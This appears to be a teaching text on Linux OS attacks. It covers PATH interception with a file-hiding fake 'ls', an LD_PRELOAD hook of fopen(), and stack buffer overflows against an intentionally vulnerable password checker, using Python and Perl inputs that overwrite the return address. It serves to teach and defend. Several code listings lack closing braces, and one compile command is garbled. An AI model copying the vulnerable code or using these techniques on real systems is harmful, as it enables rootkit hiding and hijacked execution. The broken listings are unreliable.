Some OS Attacks


In this discussion, we discuss three common types of attacks against Linux/Unix operating systems. Although far from comprehensive, they do represent common types of attacks that occur against Linux and other operating systems. Very often, new attacks against an operating system are just a new twist on an old theme, so it is worthwhile to study these, even if they are mitigated in some ways on current systems.

Path Interception

One common attack against all operating systems is the path interception attack. In modern operating systems, the path is simply the place the OS looks for executable programs. Naturally, it can't search the whole file system every time it sees a command. For efficiency, when given a terminal command, the OS usually looks instead for locations specified by the path. In Linux, this means the PATH environment variable. We can see its contents at the terminal:
$ echo $PATH
If we run a command preceded by ./, this tells the OS the executable is in the current working directory. Otherwise, if just issuing a terminal command, the OS consults the PATH.

To see which version of an executable the OS would run, we can use the Linux which command:
$ which ls
Where is the default PATH value specified? Normally, we can see what it is, and modify it, in places like /etc/bashrc (default) or ~/.bash_profile or ~/.bashrc (per user). The PATH can also be modified at the terminal, via the export command:
export PATH=$PATH:/some/new/path
An attacker will often make fake versions of the following commands, for example in a user-mode rootkit: ls, cat, netstat, ifconfig. In the following simple example, we can make a fake version of the ls terminal command. It works by calling the real ls. But first, it hides the attacker's 'secret' files (in this case, files with 'secret' in their name) and hides itself. You can try this by copying it into a text file in the current directory using the filename ls and giving it executable permissions.
/bin/ls $* | /bin/sed '/secret/d' | /bin/sed '/ls/d' 
It works as follows:
$ touch secret.txt  

$ ls -al                // the real /bin/ls runs
total 16
drwxr-xr-x@  5 Bilzor  staff  170 Apr 26 11:39 .
drwxr-xr-x@ 10 Bilzor  staff  340 Apr 26 09:55 ..
-rwxr-xr-x@  1 Bilzor  staff   72 Apr 26 11:37 ls
-rw-r--r--@  1 Bilzor  staff    0 Apr 21  2016 secret.txt

$ TEMP=$PATH            // save for later

$ export PATH=.         // path interception

$ ls -al                // the fake ls runs, hides "secret.txt" and itself
total 16
drwxr-xr-x@  5 Bilzor  staff  170 Apr 26 11:39 .
drwxr-xr-x@ 10 Bilzor  staff  340 Apr 26 09:55 ..

$ PATH=$TEMP            // clean up
$ ls -al                // the real /bin/ls runs again
Path interception attacks are relatively unsophisticated and not that difficult to detect. Nevertheless, they are still sometimes used by attackers. Note also that compiled code can do the same kinds of things shown in the example terminal commands above, for example using the setenv() or getenv() library calls.

Importantly, this attack doesn't just catch terminal commands. Commonly used library calls like system() and execvp() also reference the current PATH, so they are subject to path interception, too.

Possible mitigations:

Library Interception

Another common attack vector in Linux is to intercept calls to standard library functions. We discussed earlier the advantages of dynamic linking. To support dynamic link ("shared object") libraries, the OS will keep commonly-used libraries in memory and map them into process' address space. There are some that are so commonly used that we can expect them to always be loaded.

It is possible for an attacker to create custom versions of some library calls, then direct the OS to call the attacker's version before it calls the real library function. Dynamic link libraries that should be consulted before the standard libraries are specified in the LD_PRELOAD environment variable in Linux. Because of this, such attacks are commonly referred to as LD_PRELOAD attacks.

Suppose we create a simple C program that opens a file using a call to fopen(). We expect that it will use the fopen() from the stdio library:
/* prog.c */
#include <stdio.h>

int main(void) {
    printf("Calling the fopen() function...\n");

    FILE *fd = fopen("test.txt","r");
    if (!fd) {
        printf("fopen() returned NULL\n");
        return 1;

    printf("fopen() succeeded\n");
    return 0;
But what if the attacker is able to create his own dynamic-link library, with his own version of fopen()? It can be done as follows:
/* myfopen.c */
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

FILE *fopen(const char *path, const char *mode) {
    printf("In our own fopen, opening %s\n", path);

    FILE *(*original_fopen)(const char*, const char*);
    original_fopen = dlsym(RTLD_NEXT, "fopen");
    return (*original_fopen)(path, mode);
This attack is enabled by compiling the library and modifying LD_PRELOAD:
gcc -o prog prog.c

gcc -Wall -fPIC -shared -o myfopen.c -ldl

export LD_PRELOAD=./ 

Here is a diagram showing what happens:
LD_PRELOAD attack.
In this example, we showed an intercept of the fopen() call, but in theory, an attacker could intercept any library call of interest. This type of attack is not difficult to detect either, but remains popular with attackers on Linux systems.

Some possible mitigations:

Stack-based Overflows

The idea of an executable stack is fundamental to modern operating systems, all of which use it. The stack keeps track of what is happening, in terms of data and control, as functions get called. This includes function calls within your code, and also functions to which you've statically or dynamically linked.

Each process needs its own execution stack. Recall that a process image has four parts: a PCB, a heap area, the executable code, and the process' execution stack.

In conventional OS implementations, the stack is implemented in a region of high memory that grows downward. That is, as values are pushed onto the stack, the value of the stack pointer (SP) decreases. When the stack gets too large (as in an infinite recursion), it crashes into the heap or some other bound, and execution halts. The basic unit of information on the stack is a stack frame. Each frame is associated with a function call. You typically think of your own code's main() function being at the root of execution, but there may be runtime setup functions that actually precede it, transparent to you. There are a few important items to keep track of: Not everything gets stored on the stack. For example, global variables and memory explicitly allocated, as via a malloc(), are stored on the heap. On the stack, we're principally concerned with: Note that an architecture may have commands to explicitly modify the stack, like push and pop, but the stack pointer can also be modified directly (example: sub esp, 0x24), or as a side effect of a call or a ret.

What Goes On the Stack

There are several common calling conventions used by compilers. Here are three examples used in the Intel x86 (32-bit) architecture: (These have been simplified to a single calling convention in 64-bit Intel/AMD architectures) A calling convention describes how the stack and registers behave when a function call and function return are executed. In this discussion, we'll focus on cdecl, which is commonly used for C code in Linux. When a function is called under the cdecl convention, the following steps occur: When the function returns, this all gets unwound in reverse. The compiler generates assembly code that makes it all happen.

Example. Consider the following example:
/* stack1.c */
#include <stdlib.h>
#include <stdio.h>
int test(int x, int y, int z){
    int w = 0;
    w = x + y + z;
    return w;
int main(int argc, char * argv[]){
    int a = 0x10;
    int b = 0x20;
    int c = 0x30;
    int ret;
    ret = test(a,b,c);
    printf("\nResult: %d\n",ret);
In this example, for the function call to test(), the compiler might generate code like this:
push c    // each integer argument is 4 bytes
push b
push a
call test  // has the effect of pushing IP and saved BP
It's worth noting, though, that compilers may not create this exact assembly code, and in fact may not use the push instruction at all. The compiler may manually adjust the stack pointer and then use mov instructions to assign values instead, for example. Nevertheless, the end result should look the same on the stack.

In the following examples, we use 32-bit code for simplicity. To ensure you have all the libraries for 32-bit compilation on a 64-bit machine, one option is to run:
sudo apt-get install gcc-multilib
So now let's compile the program as a 32-bit executable with debugging symbols included, start the debugger, set a breakpoint for each function, and start the program running:
> gcc -g -o stack1 stack1.c -m32 -mpreferred-stack-boundary=2 -fno-stack-protector
> gdb -q stack1
Reading symbols from stack1...done.
(gdb) b main 
Breakpoint 1 at 0x8048448: file stack1.c, line 10.
(gdb) b test
Breakpoint 2 at 0x8048423: file stack1.c, line 5.
(gdb) r
Starting program: /home/bilzor/Desktop/stack1 

Breakpoint 1, main (argc=1, argv=0xbffff774) at stack1.c:10
10      int a = 0x10;
Now continue to the next breakpoint, in test:
(gdb) c

Breakpoint 2, test (x=16, y=32, z=48) at stack1.c:5
5      int w = 0;
Now that we're inside the called function, we can take a look at the stack. We'll enter 'n' three times to execute two instructions to get the value of w assigned, then examine the stack frame for test. We know it begins at BP, and the integer w should be just four bytes above it:
(gdb) x/1x $ebp-4
0xffffd348:  0x00000060
Sure enough, the value in memory 4 bytes above BP is the value 0x60 for w (note we are printing the result in hex).

Important Note: If using gdb to examine stack memory by referencing the register values, such as $esp for stack pointer and $ebp for base pointer, you must instead use $rsp and $rbp on a 64-bit architecture, as in: x/1dw $rbp - 8.

Overflows on the Stack

Where this gets interesting is when it's combined with operations that can spill over due to lack of bounds checking. Functions like gets(), strcpy(), and strcat() don't have built-in bounds checks. Because they operate on null-terminated strings, they continue until there's a null, without checking the size of the destination buffer. As a result, the potential exists for data to overflow: In the latter case, an attacker could actually hijack execution, by overwriting the return address with the address of his code, such as shellcode in memory. Because this technique is well known, the compiler and the kernel work together to keep it from succeeding, in current systems. The details are outside the scope of this discussion. However, if you're trying some stack-smashing examples on your own, compile them with the gcc option -fno-stack-protector, which disables certain protections against overwriting a return address on the stack.

Basic Buffer Overflow

Consider the insecure authentication example here:
/* stack2.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char * guess) {

  int authorized = 0;
  char answer[12] = "supersecret";
  char passwd_guess[12] = "";
  strcpy(passwd_guess, guess);
  printf("Checking input password: %s\n", passwd_guess);
  printf("Checking against: %s\n", answer);
  if (strncmp(answer, passwd_guess, 12) == 0) {
    printf("password is correct!");
    authorized = 1;
  return authorized;


int main(int argc, char *argv[]) {
  if(argc < 2) {
    printf("Usage: %s <password>\n", argv[0]);
  else {
    if(check_password(argv[1])) printf("\n ** Access Granted **\n");
    else printf("\nAccess Denied.\n");

Compile with options:
gcc -g -fno-stack-protector -o stack2 stack2.c -m32 -mpreferred-stack-boundary=2
Look carefully at the local variables in check_password. Because they are pushed onto the stack in order, variables pushed on later could potentially overflow variables pushed on earlier. In terms of our code listing, it means that the buffer for passwd_guess could overflow into the buffer for answer. We could overwrite the secret password! There are some embedded printf statements that will help us see this in action. Nevermind for the moment the insecurity of having a hard-coded password in plain text :-).
The buffer passwd_guess can overflow authorized

A good way of seeing the overflow in action is to use variable-length inputs. One easy way to do this is by embedding a Python print command in our input at the terminal. Try the following (note the backtick at the start and end of the Python command; this tells the terminal to execute the command and render its output):
./stack2 `python2 -c "print('A'*8)"`
As expected, we did not guess correctly:
./stack2 `python2 -c "print('A'*8)"`
Checking input password: AAAAAAAA
Checking against: supersecret

Access Denied.
But what happens when we increase the number of A's? An interesting one to try is 12:
./stack2 `python2 -c "print('A'*12)"`
Checking input password: AAAAAAAAAAAA
Checking against: 

Access Denied.
What happened here? Well, remember that our string is null terminated, so it has the 12 As, plus a 0. During the operation strcpy(passwd_guess, guess);, which has no bounds check, the 13th byte, a null, overflows the passwd_guess buffer into the first byte of the answer buffer!!

The real magic comes when we give an input of 24 bytes, where the first 12 bytes and the last 12 bytes are the same. In this case, we overwrite the answer buffer with the exact guess we entered!
./stack2 `python2 -c "print('A'*24)"`
Checking against: AAAAAAAAAAAA
password is correct!
 ** Access Granted **
This example may seem a bit contrived, and the compiler nowadays will implement protections against common stack-smashing methods, but this type of overflow is representative of a class of vulnerabilities that still appear in real-world code all the time.

Overwrite the Return Address

What if we keep overflowing the answer buffer just a few more bytes? Next on the stack, we would overwrite the variable authorized. After that, though, we expect the saved frame pointer, then the return address! Let's try adding some more A's:
./stack2 `python2 -c "print('A'*40)"`
Segmentation fault (core dumped)
A segfault -- We must have overwritten the return address (saved EIP)! Let's change our input to add some different bytes at the end, and try again:
./stack2 `python2 -c "print('A'*40 + 'BBBB')"`
Segmentation fault (core dumped)
As we increase the number of bytes, we should see the Bs (hex 42) begining to overwrite the stack. If we have just the right number of As, we can check the value of IP when the program crashed:
$ dmesg | tail -2
[ 1445.596645] stack2[4152]: segfault at 42424242 ip 0000000042424242 sp 00000000ffacbbb0 error 14 in stack2[565e3000+1000]
[ 1445.596649] Code: Bad RIP value.
This indicates our four bytes of 'B' ended up overwriting IP. Once we have the right number of bytes figured out, it's just a matter of changing the final bytes to the desired address to which control flow is going to be hijacked (e.g., the attacker's shellcode). But, we must remember to specify our address in little endian format. For example, if our shellcode is at address DEADBEEF, we have to complete the exploit by appending the bytes in reverse order, replacing our B's.

Note: this example input only works with Python 2:
./stack2 `python2 -c "print 'A'*40 + '\xEF\xBE\xAD\xDE'"`
Segmentation fault (core dumped)
wrk1065111govt:$ dmesg | tail -1
[251358.107627] stack2[23531]: segfault at deadbeef ip 00000000deadbeef sp 00000000ff93ef60 error 14 in[f7cfc000+1d5000]
Python3 treats strings and raw bytes differently, so it's more complicated to mix the two. Here is a Python3 example, using the same input:
$ ./stack2 `python3 -c "import sys;sys.stdout.buffer.write(bytearray.fromhex('41'*40+'EFBEADDE'))"`
The perl scripting language can also be used to supply input bytes:
./stack2 `perl -e 'print("A"x40 . "\xEF\xBE\xAD\xDE");'`
If we have shellcode somewhere in memory, we just replace 'DEADBEEF' with the address of our shellcode, and code execution flow can be hijacked!


The stack-based overflow exploitation techniques from the previous section, especially overwriting the IP address, are mitigated in modern operating systems using a variety of techniques: There are may also be proprietary mitigations that are OS-specific. That said, the basic overflow attack technique is a general one, and may be applicable on older systems, or in certain ways on the heap, or in combination with some other attack techniques.